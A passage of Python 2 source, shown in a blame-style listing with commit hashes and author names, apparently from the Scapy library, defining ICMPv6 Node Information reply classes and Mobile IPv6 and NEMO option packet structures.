24370d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
2438c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if type(x) is tuple and len(x) == 2:
2439c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            t, val = x
2440c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            if t == 2: # DNS names
2441c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                ttl,l = val
2442c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                l = dnsrepr2names(l)
2443c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                return "ttl:%d %s" % (ttl, ", ".join(l))
2444c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            elif t == 3 or t == 4:
2445c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                return "[ %s ]" % (", ".join(map(lambda (x,y): "(%d, %s)" % (x, y), val)))
2446c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return repr(val)
2447c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return repr(x) # XXX should not happen
2448c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
24490d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# By default, sent responses have code set to 0 (successful)
24500d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautzclass ICMPv6NIReplyNOOP(_ICMPv6NIAnswers, _ICMPv6NIHashret, _ICMPv6):
2451c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Node Information Reply - NOOP Reply"
2452c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("type", 140, icmp6types),
2453c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteEnumField("code", 0, _nireply_code),
2454c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("cksum", None),
2455c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ShortEnumField("qtype", 0, icmp6_niqtypes),
245677132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                    BitField("unused", 0, 10),
24570d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                    FlagsField("flags", 0, 6, "TACLSG"),
245877132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                    NonceField("nonce", None),
2459c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    NIReplyDataField("data", None)]
2460c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
24610d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautzclass ICMPv6NIReplyName(ICMPv6NIReplyNOOP):
2462c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Node Information Reply - Node Names"
2463c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    qtype = 2
2464c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
24650d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautzclass ICMPv6NIReplyIPv6(ICMPv6NIReplyNOOP):
2466c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Node Information Reply - IPv6 addresses"
2467c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    qtype = 3
2468c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
24690d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautzclass ICMPv6NIReplyIPv4(ICMPv6NIReplyNOOP):
2470c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Node Information Reply - IPv4 addresses"
2471c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    qtype = 4
2472c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2473c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6NIReplyRefuse(ICMPv6NIReplyNOOP):
2474c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Node Information Reply - Responder refuses to supply answer"
2475c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    code = 1
2476c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2477c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6NIReplyUnknown(ICMPv6NIReplyNOOP):
2478c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Node Information Reply - Qtype unknown to the responder"
2479c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    code = 2
2480c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2481c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2482c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhildef _niquery_guesser(p):
24837b3e970663abd72697e17b70aba9943ae0dad404Phil    cls = conf.raw_layer
2484c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    type = ord(p[0])
2485c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    if type == 139: # Node Info Query specific stuff
2486c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if len(p) > 6:
2487c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            qtype, = struct.unpack("!H", p[4:6])
2488c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            cls = { 0: ICMPv6NIQueryNOOP,
2489c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    2: ICMPv6NIQueryName,
2490c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    3: ICMPv6NIQueryIPv6,
24917b3e970663abd72697e17b70aba9943ae0dad404Phil                    4: ICMPv6NIQueryIPv4 }.get(qtype, conf.raw_layer)
2492c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    elif type == 140: # Node Info Reply specific stuff
2493c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        code = ord(p[1])
2494c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if code == 0:
2495c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            if len(p) > 6:
2496c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                qtype, = struct.unpack("!H", p[4:6])
2497c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                cls = { 2: ICMPv6NIReplyName,
2498c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                        3: ICMPv6NIReplyIPv6,
2499c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                        4: ICMPv6NIReplyIPv4 }.get(qtype, ICMPv6NIReplyNOOP)
2500c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        elif code == 1:
2501c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            cls = ICMPv6NIReplyRefuse
2502c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        elif code == 2:
2503c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            cls = ICMPv6NIReplyUnknown
2504c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    return cls
2505c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2506c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2507c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
2508c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
2509c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil###             Mobile IPv6 (RFC 3775) and Nemo (RFC 3963)                ###
2510c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
2511c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
2512c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2513c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# Mobile IPv6 ICMPv6 related classes
2514c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2515c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6HAADRequest(_ICMPv6):
2516c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = 'ICMPv6 Home Agent Address Discovery Request'
2517c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("type", 144, icmp6types),
2518c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("code", 0),
2519c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("cksum", None),
2520c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("id", None),
2521c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    BitEnumField("R", 1, 1, {1: 'MR'}),
2522c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XBitField("res", 0, 15) ]
2523c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def hashret(self):
2524c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return struct.pack("!H",self.id)+self.payload.hashret()
2525c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
25260d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautzclass ICMPv6HAADReply(_ICMPv6):
2527c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = 'ICMPv6 Home Agent Address Discovery Reply'
2528c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("type", 145, icmp6types),
2529c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("code", 0),
2530c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("cksum", None),
2531c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("id", None),
2532c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    BitEnumField("R", 1, 1, {1: 'MR'}),
2533c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XBitField("res", 0, 15),
2534c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    IP6ListField('addresses', None) ]
2535c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def hashret(self):
2536c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return struct.pack("!H",self.id)+self.payload.hashret()
2537c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2538c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def answers(self, other):
2539c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if not isinstance(other, ICMPv6HAADRequest):
2540c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return 0
25410d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz        return self.id == other.id
2542c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
25430d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautzclass ICMPv6MPSol(_ICMPv6):
2544c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = 'ICMPv6 Mobile Prefix Solicitation'
2545c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("type", 146, icmp6types),
2546c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("code", 0),
2547c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("cksum", None),
2548c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("id", None),
2549c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("res", 0) ]
2550c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def _hashret(self):
2551c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return struct.pack("!H",self.id)
2552c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2553c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6MPAdv(_ICMPv6NDGuessPayload, _ICMPv6):
2554c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = 'ICMPv6 Mobile Prefix Advertisement'
2555c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("type", 147, icmp6types),
2556c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("code", 0),
2557c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("cksum", None),
2558c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("id", None),
25590d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                    BitEnumField("flags", 2, 2, {2: 'M', 1:'O'}),
2560c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XBitField("res", 0, 14) ]
2561c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def hashret(self):
2562c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return struct.pack("!H",self.id)
25630d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
2564c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def answers(self, other):
2565c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return isinstance(other, ICMPv6MPSol)
2566c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2567c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# Mobile IPv6 Options classes
2568c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2569c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2570c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil_mobopttypes = { 2: "Binding Refresh Advice",
2571c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                 3: "Alternate Care-of Address",
2572c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                 4: "Nonce Indices",
2573c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                 5: "Binding Authorization Data",
2574c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                 6: "Mobile Network Prefix (RFC3963)",
2575c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                 7: "Link-Layer Address (RFC4068)",
25760d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                 8: "Mobile Node Identifier (RFC4283)",
2577c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                 9: "Mobility Message Authentication (RFC4285)",
2578c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                 10: "Replay Protection (RFC4285)",
2579c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                 11: "CGA Parameters Request (RFC4866)",
2580c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                 12: "CGA Parameters (RFC4866)",
2581c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                 13: "Signature (RFC4866)",
2582c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                 14: "Home Keygen Token (RFC4866)",
2583c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                 15: "Care-of Test Init (RFC4866)",
2584c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                 16: "Care-of Test (RFC4866)" }
2585c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2586c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
25870d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautzclass _MIP6OptAlign:
25880d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    """ Mobile IPv6 options have alignment requirements of the form x*n+y.
25890d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    This class is inherited by all MIPv6 options to help in computing the
25900d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    required Padding for that option, i.e. the need for a Pad1 or PadN
25910d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    option before it. They only need to provide x and y as class
2592c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    parameters. (x=0 and y=0 are used when no alignment is required)"""
2593c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def alignment_delta(self, curpos):
2594c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil      x = self.x ; y = self.y
2595c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil      if x == 0 and y ==0:
2596c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil          return 0
2597c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil      delta = x*((curpos - y + x - 1)/x) + y - curpos
2598c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil      return delta
25990d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
2600c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2601c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass MIP6OptBRAdvice(_MIP6OptAlign, Packet):
26020d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    name = 'Mobile IPv6 Option - Binding Refresh Advice'
2603c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField('otype', 2, _mobopttypes),
2604c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField('olen', 2),
26050d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                    ShortField('rinter', 0) ]
2606c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    x = 2 ; y = 0# alignment requirement: 2n
2607c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2608c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass MIP6OptAltCoA(_MIP6OptAlign, Packet):
2609c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = 'MIPv6 Option - Alternate Care-of Address'
2610c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField('otype', 3, _mobopttypes),
2611c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField('olen', 16),
2612c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    IP6Field("acoa", "::") ]
2613c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    x = 8 ; y = 6 # alignment requirement: 8n+6
2614c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
26150d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautzclass MIP6OptNonceIndices(_MIP6OptAlign, Packet):
2616c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = 'MIPv6 Option - Nonce Indices'
2617c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField('otype', 4, _mobopttypes),
2618c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField('olen', 16),
2619c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ShortField('hni', 0),
2620c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ShortField('coni', 0) ]
2621c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    x = 2 ; y = 0 # alignment requirement: 2n
2622c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
26230d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautzclass MIP6OptBindingAuthData(_MIP6OptAlign, Packet):
2624c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = 'MIPv6 Option - Binding Authorization Data'
2625c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField('otype', 5, _mobopttypes),
2626c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField('olen', 16),
2627c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    BitField('authenticator', 0, 96) ]
2628c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    x = 8 ; y = 2 # alignment requirement: 8n+2
2629c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
26300d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautzclass MIP6OptMobNetPrefix(_MIP6OptAlign, Packet): # NEMO - RFC 3963
2631c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = 'NEMO Option - Mobile Network Prefix'
2632c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("otype", 6, _mobopttypes),
26335bbe280843fec8d5955914c78f52cb9cef7d61a4Phil                    ByteField("olen", 18),
2634c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("reserved", 0),
2635c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("plen", 64),
2636c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    IP6Field("prefix", "::") ]
2637c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    x = 8 ; y = 4 # alignment requirement: 8n+4
2638c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2639c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass MIP6OptLLAddr(_MIP6OptAlign, Packet): # Sect 6.4.4 of RFC 4068
2640c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "MIPv6 Option - Link-Layer Address (MH-LLA)"
2641c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("otype", 7, _mobopttypes),
2642c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("olen", 7),
2643c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteEnumField("ocode", 2, _rfc4068_lla_optcode),
2644c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("pad", 0),
2645c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    MACField("lla", ETHER_ANY) ] # Only support ethernet
2646c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    x = 0 ; y = 0 # alignment requirement: none
2647c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2648c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass MIP6OptMNID(_MIP6OptAlign, Packet): # RFC 4283
2649c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "MIPv6 Option - Mobile Node Identifier"
2650c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("otype", 8, _mobopttypes),
2651c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    FieldLenField("olen", None, length_of="id", fmt="B",
2652c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                  adjust = lambda pkt,x: x+1),
2653c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteEnumField("subtype", 1, {1: "NAI"}),
2654c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    StrLenField("id", "",
2655c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                length_from = lambda pkt: pkt.olen-1) ]
2656c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    x = 0 ; y = 0 # alignment requirement: none
2657c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
26580d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# We only support decoding and basic build. Automatic HMAC computation is
26590d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# too much work for our current needs. It is left to the user (I mean ...
2660c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# you). --arno
2661c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass MIP6OptMsgAuth(_MIP6OptAlign, Packet): # RFC 4285 (Sect. 5)
2662c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "MIPv6 Option - Mobility Message Authentication"
2663c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("otype", 9, _mobopttypes),
2664c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    FieldLenField("olen", None, length_of="authdata", fmt="B",
2665c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                  adjust = lambda pkt,x: x+5),
2666c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteEnumField("subtype", 1, {1: "MN-HA authentication mobility option",
2667c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                                 2: "MN-AAA authentication mobility option"}),
2668c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    IntField("mspi", None),
2669c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    StrLenField("authdata", "A"*12,
2670c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                length_from = lambda pkt: pkt.olen-5) ]
2671c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    x = 4 ; y = 1 # alignment requirement: 4n+1
2672c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2673c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# Extracted from RFC 1305 (NTP) :
26740d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# NTP timestamps are represented as a 64-bit unsigned fixed-point number,
26750d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# in seconds relative to 0h on 1 January 1900. The integer part is in the
2676c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# first 32 bits and the fraction part in the last 32 bits.
2677c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass NTPTimestampField(LongField):
2678c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def i2repr(self, pkt, x):
2679c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if x < ((50*31536000)<<32):
2680c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return "Some date a few decades ago (%d)" % x
2681c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
26820d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz        # delta from epoch (= (1900, 1, 1, 0, 0, 0, 5, 1, 0)) to
2683c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        # January 1st 1970 :
2684c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        delta = -2209075761
2685c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        i = int(x >> 32)
2686c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        j = float(x & 0xffffffff) * 2.0**-32
2687c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        res = i + j + delta
2688c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        from time import strftime
2689c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        t = time.strftime("%a, %d %b %Y %H:%M:%S +0000", time.gmtime(res))
2690c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2691c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return "%s (%d)" % (t, x)
2692c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2693c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass MIP6OptReplayProtection(_MIP6OptAlign, Packet): # RFC 4285 (Sect. 6)
2694c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "MIPv6 option - Replay Protection"
2695c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("otype", 10, _mobopttypes),
2696c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("olen", 8),
2697c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    NTPTimestampField("timestamp", 0) ]
2698c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    x = 8 ; y = 2 # alignment requirement: 8n+2
2699c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2700c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass MIP6OptCGAParamsReq(_MIP6OptAlign, Packet): # RFC 4866 (Sect. 5.6)
2701c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "MIPv6 option - CGA Parameters Request"
2702c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("otype", 11, _mobopttypes),
2703c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("olen", 0) ]
2704c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    x = 0 ; y = 0 # alignment requirement: none
2705c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2706c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# XXX TODO: deal with CGA param fragmentation and build of defragmented
27070d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# XXX       version. Passing of a big CGAParam structure should be
2708c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# XXX       simplified. Make it hold packets, by the way  --arno
2709c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass MIP6OptCGAParams(_MIP6OptAlign, Packet): # RFC 4866 (Sect. 5.1)
2710c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "MIPv6 option - CGA Parameters"
2711c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("otype", 12, _mobopttypes),
2712c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    FieldLenField("olen", None, length_of="cgaparams", fmt="B"),
2713c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    StrLenField("cgaparams", "",
2714c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                length_from = lambda pkt: pkt.olen) ]
2715c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    x = 0 ; y = 0 # alignment requirement: none
2716c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
